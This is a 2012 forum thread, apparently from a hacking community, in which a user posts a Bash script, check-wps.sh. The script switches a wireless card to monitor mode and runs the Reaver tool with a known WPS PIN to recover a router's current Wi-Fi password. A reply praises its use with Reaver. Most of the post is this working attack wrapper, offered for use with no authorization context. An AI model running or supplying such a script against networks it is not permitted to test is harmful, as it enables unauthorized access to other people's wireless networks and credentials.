Author Topic: [Bash] check-wps.sh - check wps-enabled router's password  (Read 1165 times)

0 Members and 1 Guest are viewing this topic.

Offline frog

  • Knight
  • **
  • Posts: 232
  • Cookies: 16
    • View Profile
[Bash] check-wps.sh - check wps-enabled router's password
« on: August 21, 2012, 02:27:16 am »
Code: (bash) [Select]
#!/bin/bash
##
### check-wps.sh - Check WPS-enabled routers for password change(provided you have the PIN)
##
#
export MODE
export BSSID=$2
export PIN=$3
export IFACE=$1

usage() {
  echo ""
  echo "   $0 - Check WPS-enabled router's password"
  echo " by frog on August 20th, 2012"
  echo "      Usage: $0 <interface> <bssid> <PIN>"
  echo ""
}

checkMode() {
  MODE=`iwconfig $IFACE | grep Mode`
  MODE=`echo ${MODE:30:7}`

  if [ $MODE = "Monitor" ]; then
    MODE="Monitor"
  else
    MODE="Managed"
  fi
}

checkRoot() {
  if [ `whoami` != "root" ]; then
    echo "Login as root and try again."
    exit
  fi
}

checkArgs() {
  if [ -z $IFACE ]; then
    echo "Set interface and try again."
    usage
    exit
  fi

  if [ -z $BSSID ]; then
    echo "Set BSSID and try again."
    usage
    exit
  fi

  if [ -z $PIN ]; then
    echo "Set PIN and try again."
    usage
    exit
  fi
}

checkReaver() {
  if [ -z `which reaver` ]; then
    echo "Install reaver and try again."
    exit
  fi
}

checkPIN() {
  if [ $MODE = "Monitor" ]; then
    reaver -i $IFACE -b $BSSID -p $PIN -s /dev/null
  elif [ $MODE = "Managed" ]; then
    ifconfig $IFACE down; iwconfig $IFACE mode monitor
    ifconfig $IFACE up
    reaver -i $IFACE -b $BSSID -p $PIN -s /dev/null
    ifconfig $IFACE down; iwconfig $IFACE mode managed
    ifconfig $IFACE up
    dhclient $IFACE 2>/dev/null
  fi
}

#
##
### Start

checkRoot
checkReaver
checkArgs
checkMode
checkPIN

### End
##
#

EDIT: I got around the session resume issue by telling reaver to resume session from /dev/null; I changed the script above accordingly.

EDIT: Add dhcp request to maintain a local IP address after program is run.(only when you run the program with your interface in managed mode)
« Last Edit: September 22, 2012, 06:51:02 am by frog »

Offline Ragehottie

  • Knight
  • **
  • Posts: 313
  • Cookies: -9
  • Hack to learn, not learn to hack.
    • View Profile
Re: [Bash] check-wps.sh - check wps-enabled router's password
« Reply #1 on: August 21, 2012, 02:34:31 am »
Cool. Really great in use with Reaver
Blog: rexmckinnon.tumblr.com